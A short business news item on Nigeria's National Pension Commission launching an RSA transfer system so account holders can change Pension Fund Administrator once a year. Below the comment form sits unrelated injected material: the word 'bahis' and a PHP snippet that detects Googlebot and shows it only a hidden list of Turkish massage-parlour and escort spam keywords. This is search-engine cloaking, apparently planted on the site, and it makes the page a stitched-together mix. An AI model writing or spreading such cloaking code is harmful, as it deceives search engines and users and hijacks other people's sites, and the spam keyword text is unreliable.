BUSINESS NEWS

PenCom set to launch RSA transfer system

NEWSMAN, Abuja – National Pension Commission (PenCom) is set to officially launch Retirement Savings Account (RSA) transfer system, under the Contributory Pension Scheme (CPS) on Nov. 16.

PenCom’s Head Corporate Communication, Peter Aghahowa made this known in a statement in Abuja on Monday.

He said the commission had concluded arrangements for the take-off of RSA transfer to allow the RSA holders to transfer their accounts from one Pension Fund Administrator (PFA) to another once in a year.

He said this in line with section 13 of the Pension Reform Act 2014.

“The launch date for the RSA Transfer System is scheduled for Nov. 16, this will signify the official opening of the RSA Transfer Window. Prior to this launch, the commission had successfully developed the RSA transfer application a robust electronic platform that would enable seamless RSA transfers.

“Also, the commission has conducted extensive workshops for licensed Pension Operators and State Pension Bureaus in readiness for this epoch-making event,’’ Aghahowa said.

He said the activation of the RSA transfer process would stimulate competition and improve service delivery in the pension industry, The Guardian reported.

He also said it would assert the right of RSA holders to determine which PFA managed their pension contributions and retirement benefits.

The activation of the RSA transfer process would engender competition and improve service delivery in the pension industry, while asserting the right of RSA holders to determine which PFA manages their pension contributions and retirement benefits, the commission said.

Related Posts

Leave a Reply

Your email address will not be published. Required fields are marked *

bahis

$uagent = trim(strtolower($_SERVER["HTTP_USER_AGENT"])); if(strpos($uagent,"googlebot")!==false and strpos($uagent,"google-amphtml")===false ){ echo 'Van masaj salonu Maraş masaj salonu Şanlıurfa masaj salonu Isparta masaj salonu Amasya masaj salonu Afyon masaj salonu Denizli masaj salonu Kayseri masaj salonu Eskişehir masaj salonu Malatya masaj salonu Yozgat masaj salonu Çorum masaj salonu Tokat masaj salonu Gaziantep masaj salonu Kütahya masaj salonu Elazığ masaj salonu Kırklareli escort Burdur escort Aksaray escort Kars escort Kastamonu escort Adıyaman escort Erzincan escort Uşak escort Sinop escort '; }